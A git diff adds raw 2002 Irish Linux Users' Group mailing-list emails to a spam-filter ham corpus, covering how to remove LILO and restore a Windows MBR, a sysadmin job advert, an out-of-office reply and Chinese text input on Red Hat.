Fri, 2 Aug 2002 12:15:16 +0100 +Received: from mail.aculink.net (65-173-158-7.aculink.net [65.173.158.7]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA03994 for + ; Fri, 2 Aug 2002 12:15:06 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host 65-173-158-7.aculink.net + [65.173.158.7] claimed to be mail.aculink.net +Received: from cdm01.deedsmiscentral.net ([204.118.157.66]) by + mail.aculink.net (Merak 4.4.2) with ESMTP id EDA37003; Fri, 02 Aug 2002 + 05:22:16 -0600 +Received: from cdm01.deedsmiscentral.net + (IDENT:redneck@cdm01.deedsmiscentral.net [192.168.20.1]) by + cdm01.deedsmiscentral.net (8.11.6/8.11.6/ver) with ESMTP id g729UoT30389; + Fri, 2 Aug 2002 03:30:56 -0600 +Message-Id: <3D4A513F.5AF61C84@cdm01.deedsmiscentral.net> +Date: Fri, 02 Aug 2002 03:30:39 -0600 +From: SoloCDM +Reply-To: deedsmis@aculink.net, ilug@linux.ie +X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.20-9.2mdk i586) +X-Accept-Language: en +MIME-Version: 1.0 +To: Ciaran Mac Lochlainn +Cc: "ILUG (Request)" +References: <5FE418B3F962D411BED40000E818B33C9C8E65@HASSLE> + <3D4814D0.6A61E6E5@cdm01.deedsmiscentral.net> + <20020731173414.4123f075.lbedford@lbedford.org> + <3D4881F6.F899591@cdm01.deedsmiscentral.net> + <002201c2393c$d125c690$ac0305c0@ciaran> +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Subject: [ILUG] Re: removing lilo +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Ciaran Mac Lochlainn stated the following: +> +> SoloCDM wrote: +> +> > Liam Bedford stated the following: +> +> +> +> >> fdisk /mbr will restore a dos MBR.. it'll leave the partitions +> >> alone. +> +> >> linux fdisk and deleting all partitions will actually leave LILO in +> >> the MBR though. +> +> > While I am in Linux, the following message is the output when I +> > execute fdisk /mbr, even though the drive is in read and write mode: +> +> > Unable to open /mbr +> +> > The mbr is on a separate drive -- not related to the Linux drive. +> +> fdisk /mbr is a DOS command - if you are in Linux you will be running +> Linux fdisk, which doesn't have the /mbr option. The Linux equivalent +> of "fdisk /mbr" is "lilo -u /dev/hda" (unless John Reilly was making +> that up yesterday - I haven't tried it!) + +Thanks! + +In the past I tried "lilo -u /dev/hda" and it wouldn't work -- an +original copy of the MBR must be in /boot directory for it to work. +Which is exactly what I didn't have. The installation of Linux +Mandrake didn't afford me that luxury. + +Also, I'm glad you cleared up the fdisk issue. I know better now -- +previously I was under the impression that fdisk had a hidden switch. +This is obviously not the case. + +-- +Note: When you reply to this message, please include the mailing + list and/or newsgroup address and my email address in To: + +********************************************************************* +Signed, +SoloCDM + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00232.24e7a66753dfa7f93df6a2c5125e0cb3 b/bayes/spamham/easy_ham_2/00232.24e7a66753dfa7f93df6a2c5125e0cb3 new file mode 100644 index 0000000..78ec218 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00232.24e7a66753dfa7f93df6a2c5125e0cb3 @@ -0,0 +1,94 @@ +From ilug-admin@linux.ie Fri Aug 2 12:31:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E6CEC440F8 + for ; Fri, 2 Aug 2002 07:31:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 12:31:54 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72BOs219796 for + ; Fri, 2 Aug 2002 12:24:54 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA04589; Fri, 2 Aug 2002 12:23:24 +0100 +Received: from mail.aculink.net (65-173-158-7.aculink.net [65.173.158.7]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA04473 for + ; Fri, 2 Aug 2002 12:23:06 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host 65-173-158-7.aculink.net + [65.173.158.7] claimed to be mail.aculink.net +Received: from cdm01.deedsmiscentral.net ([204.118.157.66]) by + mail.aculink.net (Merak 4.4.2) with ESMTP id EDA37003; Fri, 02 Aug 2002 + 05:30:15 -0600 +Received: from cdm01.deedsmiscentral.net + (IDENT:redneck@cdm01.deedsmiscentral.net [192.168.20.1]) by + cdm01.deedsmiscentral.net (8.11.6/8.11.6/ver) with ESMTP id g729X8T30429; + Fri, 2 Aug 2002 03:34:23 -0600 +Message-Id: <3D4A51D1.B738C475@cdm01.deedsmiscentral.net> +Date: Fri, 02 Aug 2002 03:33:05 -0600 +From: SoloCDM +Reply-To: deedsmis@aculink.net, ilug@linux.ie +X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.20-9.2mdk i586) +X-Accept-Language: en +MIME-Version: 1.0 +To: "Hunt, Bryan" +Cc: "ILUG (Request)" +References: <5FE418B3F962D411BED40000E818B33C9C8E6C@HASSLE> +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Subject: [ILUG] Re: removing lilo +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +"Hunt, Bryan" stated the following: +> +> choose the repair option when installing windows nt/2000/whatever + +What is the "repair option"? + +> -----Original Message----- From: SoloCDM [mailto:deedsmis@aculink.net] +> Sent: 31 July 2002 17:48 To: Hunt, Bryan Cc: ILUG (Request) +> Subject: Re: removing lilo +> +> "Hunt, Bryan" stated the following: +> +> > you need to do a "fdisk /mbr" from a bootable windoze floppy +> > alternatively boot from linux boot disk and do fdisk, delete all +> +> partitions. +> +> I need to ask a question concerning this issue. +> +> What if I don't want to get rid of the MBR -- it will destroy the +> OS on that drive. How do I remove lilo without the above fdisk +> procedure? +> +> > -----Original Message----- From: jac1 +> > [mailto:jac1@student.cs.ucc.ie] +> +> > i recently had to wipe linux from my pc but forgot to restore the +> > original MBR (NT). Anyone know how i can do this? linux is entirely +> > gone and no +> +> boot +> +> > floppy. formatting the entire disk doesn't do it either. + +-- +Note: When you reply to this message, please include the mailing + list and/or newsgroup address and my email address in To: + +********************************************************************* +Signed, +SoloCDM + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00233.abed26eecbf8b61a482439ddeaeb9b62 b/bayes/spamham/easy_ham_2/00233.abed26eecbf8b61a482439ddeaeb9b62 new file mode 100644 index 0000000..708aa49 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00233.abed26eecbf8b61a482439ddeaeb9b62 @@ -0,0 +1,66 @@ +From ilug-admin@linux.ie Fri Aug 2 12:31:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9E236440F9 + for ; Fri, 2 Aug 2002 07:31:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 12:31:55 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72BQw219816 for + ; Fri, 2 Aug 2002 12:26:58 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA04802; Fri, 2 Aug 2002 12:25:34 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from ogma.tuatha.org (postfix@ogma.tuatha.org [62.17.27.129]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA04771 for ; + Fri, 2 Aug 2002 12:25:28 +0100 +Received: from ogma (localhost [127.0.0.1]) by ogma.tuatha.org (Postfix) + with ESMTP id 9F6EB4BE05; Fri, 2 Aug 2002 12:25:27 +0100 (IST) +Content-Type: text/plain; charset="iso-8859-1" +From: Colm Buckley +To: deedsmis@aculink.net, ilug@linux.ie +Subject: Re: [ILUG] Re: removing lilo +Date: Fri, 2 Aug 2002 12:25:27 +0100 +User-Agent: KMail/1.4.2 +References: <5FE418B3F962D411BED40000E818B33C9C8E6C@HASSLE> + <3D4A51D1.B738C475@cdm01.deedsmiscentral.net> +In-Reply-To: <3D4A51D1.B738C475@cdm01.deedsmiscentral.net> +MIME-Version: 1.0 +Message-Id: <200208021225.27413.colm@tuatha.org> +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + MAA04771 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> == SoloCDM +>> == Bryan Hunt + +>> choose the repair option when installing windows nt/2000/whatever + +> What is the "repair option"? + +When you boot from the WNT/W2k/whatever install CD, it offers you the +choice of installing a new system, or repairing an existing +installation. + + Colm + +-- +Colm Buckley | colm@tuatha.org | +353 87 2469146 | www.colm.buckley.name +Why be difficult when, with a bit of effort, you could be impossible? + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00234.4901bd911992ec875045886a7e311562 b/bayes/spamham/easy_ham_2/00234.4901bd911992ec875045886a7e311562 new file mode 100644 index 0000000..8e9088a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00234.4901bd911992ec875045886a7e311562 @@ -0,0 +1,104 @@ +From ilug-admin@linux.ie Fri Aug 2 12:52:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 25F24440FE + for ; Fri, 2 Aug 2002 07:52:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 12:52:53 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72BqF220565 for + ; Fri, 2 Aug 2002 12:52:15 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA05943; Fri, 2 Aug 2002 12:50:42 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay01.esat.net (relay01.esat.net [192.111.39.11]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA05911 for ; + Fri, 2 Aug 2002 12:50:36 +0100 +Received: from www.emuse.ie (hassle.emuse.ie) [193.120.145.154] by + relay01.esat.net with esmtp id 17aax1-0000zZ-00; Fri, 02 Aug 2002 12:50:35 + +0100 +Received: by HASSLE with Internet Mail Service (5.5.2653.19) id ; + Fri, 2 Aug 2002 12:51:07 +0100 +Message-Id: <5FE418B3F962D411BED40000E818B33C9C8E85@HASSLE> +From: "Hunt, Bryan" +To: "'deedsmis@aculink.net'" , + "'ilug@linux.ie'" +Date: Fri, 2 Aug 2002 12:51:03 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Subject: [ILUG] RE: removing lilo +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +on NT 4 you should get it at the point where you choose +which partition to format/install onto .... It's been a +while though so I might be wrong. Ted says I might have +dreamed it just like that spider baby/Linux thing :-) + +--Dougal + +-----Original Message----- +From: SoloCDM [mailto:deedsmis@aculink.net] +Sent: 02 August 2002 10:33 +To: Hunt, Bryan +Cc: ILUG (Request) +Subject: Re: removing lilo + + +"Hunt, Bryan" stated the following: +> +> choose the repair option when installing windows nt/2000/whatever + +What is the "repair option"? + +> -----Original Message----- From: SoloCDM [mailto:deedsmis@aculink.net] +> Sent: 31 July 2002 17:48 To: Hunt, Bryan Cc: ILUG (Request) +> Subject: Re: removing lilo +> +> "Hunt, Bryan" stated the following: +> +> > you need to do a "fdisk /mbr" from a bootable windoze floppy +> > alternatively boot from linux boot disk and do fdisk, delete all +> +> partitions. +> +> I need to ask a question concerning this issue. +> +> What if I don't want to get rid of the MBR -- it will destroy the +> OS on that drive. How do I remove lilo without the above fdisk +> procedure? +> +> > -----Original Message----- From: jac1 +> > [mailto:jac1@student.cs.ucc.ie] +> +> > i recently had to wipe linux from my pc but forgot to restore the +> > original MBR (NT). Anyone know how i can do this? linux is entirely +> > gone and no +> +> boot +> +> > floppy. formatting the entire disk doesn't do it either. + +-- +Note: When you reply to this message, please include the mailing + list and/or newsgroup address and my email address in To: + +********************************************************************* +Signed, +SoloCDM + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00235.8b55a8bb29e92f8db66639e36f216721 b/bayes/spamham/easy_ham_2/00235.8b55a8bb29e92f8db66639e36f216721 new file mode 100644 index 0000000..3bb848c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00235.8b55a8bb29e92f8db66639e36f216721 @@ -0,0 +1,89 @@ +From ilug-admin@linux.ie Fri Aug 2 16:33:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 376C944108 + for ; Fri, 2 Aug 2002 11:32:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 16:32:44 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72Ektn01625 for + ; Fri, 2 Aug 2002 15:46:55 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id NAA02863 for ; + Fri, 2 Aug 2002 13:43:36 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA07897; Fri, 2 Aug 2002 13:41:36 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from ogma.tuatha.org (postfix@ogma.tuatha.org [62.17.27.129]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id NAA07862 for ; + Fri, 2 Aug 2002 13:41:31 +0100 +Received: from ogma (localhost [127.0.0.1]) by ogma.tuatha.org (Postfix) + with ESMTP id 6A5BC4BE05 for ; Fri, 2 Aug 2002 13:41:30 + +0100 (IST) +Content-Type: text/plain; charset="us-ascii" +From: Colm Buckley +Organization: NewWorldIQ +To: "Irish Linux Users' Group" +Date: Fri, 2 Aug 2002 13:41:30 +0100 +User-Agent: KMail/1.4.2 +MIME-Version: 1.0 +Message-Id: <200208021341.30252.colm@newworldiq.com> +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + NAA07862 +Subject: [ILUG] Sysadmin / IT person wanted +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi, folks - + +Wearing my other hat today - we're looking for a competent and +experienced system administrator here, and I'd like anyone who's +interested to contact me. + +The job is for a Windows (NT and 2000) and Linux (Debinan) system and +network administrator, with a good, deep knowledge of both +environments. The successful candidate will have a broad range of +responsibilities in maintaining and developing our IT and production +infrastructure, including WAN/secure networking to remote offices, +email systems management, backups, etc., so experience in managing +larger networks is required. + +Some development and implementation research experience would also be +highly desireable. + +In addition, the position will involve internal IT support for a +primarily Windows network with approximately fifty users in several +locations. + +The precise remuneration package will depend on the skillset of the +successful applicant, but will include as standard a performance-based +bonus scheme, health insurance, stock options and participation in a +company-backed pension plan. + +Please contact me directly if you wish to apply. + +We now return you to your regularly-scheduled hrishy. + + Colm + +-- +Colm Buckley - Systems Architect at NewWorldIQ +w : http://www.newworldiq.com/ e : colm@newworldiq.com +t : +353 1 4334334 f : +353 1 4334301 m : +353 87 2469146 +Quantum mechanics: the dreams stuff is made of. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00236.b173a89a323f88ec8b8a4caef8ee6aaa b/bayes/spamham/easy_ham_2/00236.b173a89a323f88ec8b8a4caef8ee6aaa new file mode 100644 index 0000000..e2299ca --- /dev/null +++ b/bayes/spamham/easy_ham_2/00236.b173a89a323f88ec8b8a4caef8ee6aaa @@ -0,0 +1,63 @@ +From ilug-admin@linux.ie Fri Aug 2 16:33:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 585F944102 + for ; Fri, 2 Aug 2002 11:32:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 16:32:46 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72Eksn01618 for + ; Fri, 2 Aug 2002 15:46:54 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id NAA02877 for ; + Fri, 2 Aug 2002 13:44:42 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA08062; Fri, 2 Aug 2002 13:44:13 +0100 +Received: from UKExt5.uk.exel.com ([193.132.29.98]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA08036 for ; Fri, + 2 Aug 2002 13:44:07 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [193.132.29.98] claimed to + be UKExt5.uk.exel.com +From: "Dermot Beirne" +To: "ilug" +Message-Id: +Date: Fri, 2 Aug 2002 12:23:04 +0100 +X-Mimetrack: Serialize by Router on UKExt5/Exel-External(Release 5.0.9a + |January 7, 2002) at 02/08/2002 13:44:06 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Subject: [ILUG] Dermot Beirne/Dublin/IE/Exel is out of the office. +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I will be out of the office starting 02/08/2002 and will not return until +06/08/2002. + +I am out of the office until Tuesday 6th August. I will reply to messages +on my return. + +Thank you. +DermotImportant Email Information + +The information in this email is confidential and may be legally +privileged. It is intended solely for the addressee. Access to this email +by anyone else is unauthorized. If you are not the intended recipient, any +disclosure, copying, distribution or any action taken or omitted to be +taken in reliance on it, is prohibited and may be unlawful. If you are not +the intended addressee please contact the sender and dispose of this +e-mail. + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00237.f1cc68d90b0a47f01678c5eb0dc1ea7a b/bayes/spamham/easy_ham_2/00237.f1cc68d90b0a47f01678c5eb0dc1ea7a new file mode 100644 index 0000000..2af2be4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00237.f1cc68d90b0a47f01678c5eb0dc1ea7a @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Fri Aug 2 16:33:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id ED1F144103 + for ; Fri, 2 Aug 2002 11:32:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 16:32:44 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72Ekin01505 for + ; Fri, 2 Aug 2002 15:46:44 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id OAA03254 for ; + Fri, 2 Aug 2002 14:26:29 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA10198; Fri, 2 Aug 2002 14:25:36 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from student.cs.ucc.ie (student.cs.ucc.ie [143.239.211.125]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA10165 for ; + Fri, 2 Aug 2002 14:25:28 +0100 +Received: from webmail.ucc.ie (webmail.ucc.ie [143.239.1.26]) by + student.cs.ucc.ie (8.9.3/8.9.3) with ESMTP id OAA21764 for ; + Fri, 2 Aug 2002 14:26:06 +0100 (BST) +X-Webmail-Userid: jac1@student.cs.ucc.ie +Date: Fri, 2 Aug 2002 14:25:43 +0100 +From: jac1 +To: ilug@linux.ie +X-Exp32-Serialno: 00002719 +Subject: RE: [ILUG] Re: removing lilo +Message-Id: <3D354125@webmail.ucc.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-1" +Content-Transfer-Encoding: 7bit +X-Mailer: WebMail (Hydra) SMTP v3.61.08 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +>===== Original Message From deedsmis@aculink.net, ilug@linux.ie ===== +>"Hunt, Bryan" stated the following: +>> +>> choose the repair option when installing windows nt/2000/whatever +> +>What is the "repair option"? +> +If u choose Setup NT from the installation CD it will reboot your system +and give the option of repairing an existing installation when it reboots. +I did this the other night, with the check MBR option, but it didn't +overwrite the MBR like it should (apparently). Either my disk is completely +shagged or i'm missing something. + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00238.29f6acf47737195879e35b049dd0b6f4 b/bayes/spamham/easy_ham_2/00238.29f6acf47737195879e35b049dd0b6f4 new file mode 100644 index 0000000..9fe6145 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00238.29f6acf47737195879e35b049dd0b6f4 @@ -0,0 +1,66 @@ +From ilug-admin@linux.ie Fri Aug 2 16:33:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BC34944109 + for ; Fri, 2 Aug 2002 11:33:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 16:33:05 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72Eksn01614 for + ; Fri, 2 Aug 2002 15:46:54 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id NAA02931 for ; + Fri, 2 Aug 2002 13:50:26 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA08526; Fri, 2 Aug 2002 13:49:15 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from ogma.tuatha.org (postfix@ogma.tuatha.org [62.17.27.129]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id NAA08497 for ; + Fri, 2 Aug 2002 13:49:09 +0100 +Received: from ogma (localhost [127.0.0.1]) by ogma.tuatha.org (Postfix) + with ESMTP id 0B8CE4BE05 for ; Fri, 2 Aug 2002 13:49:08 + +0100 (IST) +Content-Type: text/plain; charset="iso-8859-1" +From: Colm Buckley +To: "Irish Linux Users' Group" +Subject: Re: [ILUG] Sysadmin / IT person wanted +Date: Fri, 2 Aug 2002 13:49:08 +0100 +User-Agent: KMail/1.4.2 +References: <200208021341.30252.colm@newworldiq.com> +In-Reply-To: <200208021341.30252.colm@newworldiq.com> +MIME-Version: 1.0 +Message-Id: <200208021349.08815.colm@tuatha.org> +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + NAA08497 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri 02 Aug 2002 13:41, Colm Buckley wrote: + +> The job is for a Windows (NT and 2000) and Linux (Debinan) [...] + +Pah. + +"Debian". + + Colm + +-- +Colm Buckley | colm@tuatha.org | +353 87 2469146 | www.colm.buckley.name +You're slower than a herd of turtles stampeding through peanut butter. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00239.eba234b87a8928388e54ba31441847ff b/bayes/spamham/easy_ham_2/00239.eba234b87a8928388e54ba31441847ff new file mode 100644 index 0000000..95010a0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00239.eba234b87a8928388e54ba31441847ff @@ -0,0 +1,83 @@ +From ilug-admin@linux.ie Fri Aug 2 16:33:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3FA9E44104 + for ; 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Fri, 2 Aug 2002 16:19:33 +0100 (BST) +Received: from sionnach (localhost [127.0.0.1]) by + sionnach.ireland.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g72FJWfE001695 + for ; Fri, 2 Aug 2002 16:19:32 +0100 (BST) +Message-Id: <200208021519.g72FJWfE001695@sionnach.ireland.sun.com> +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Irish Linux Users Group +From: Albert White - SUN Ireland +Subject: Re: [ILUG] inputting chinese characters in Redhat 7.3 +In-Reply-To: Message from Kenn Humborg of + "Thu, 01 Aug 2002 02:41:41 BST." + <20020801024141.A1980@excalibur.research.wombat.ie> +Date: Fri, 02 Aug 2002 16:19:32 +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi, + +fergal@esatclear.ie said: +> 7.3 seems to support Chinese input out of the box, it's got +> miniChinput and some other stuff no documentation. I cannot get much +> sense from the Chinese-HOWTO (it seems the HOWTOs no longer come with +> Redhat which sucks somewhat, are they hidden on 1 of the disks or +> something?) and google is a bit of a dead end too. + +> Can anyone tell me what I should do? Thanks, + +How about xcin? +http://xcin.linux.org.tw/ + +This is an example of an XIM approach that Brian mentioned. hint shift-space +get you back to typing in english. + +The speed you can type at will be very dependent on how well you know the +input method and in some cases how well you know how to construct chinese +characters. + +I have seen people using electronic pen and tablet devices to just write the +characters in, though that was windows. + +~Al +-- +Expressed in this posting are my opinions. They are in no way related +to opinions held by my employer, Sun Microsystems. +Statements on Sun products included here are not gospel and may +be fiction rather than truth. + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00240.4c883be64d3a929c5422422211076505 b/bayes/spamham/easy_ham_2/00240.4c883be64d3a929c5422422211076505 new file mode 100644 index 0000000..2fa5a27 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00240.4c883be64d3a929c5422422211076505 @@ -0,0 +1,83 @@ +From ilug-admin@linux.ie Tue Aug 6 11:50:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BF0E4441D9 + for ; Tue, 6 Aug 2002 06:48:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:07 +0100 (IST) +Received: from lugh.tuatha.org 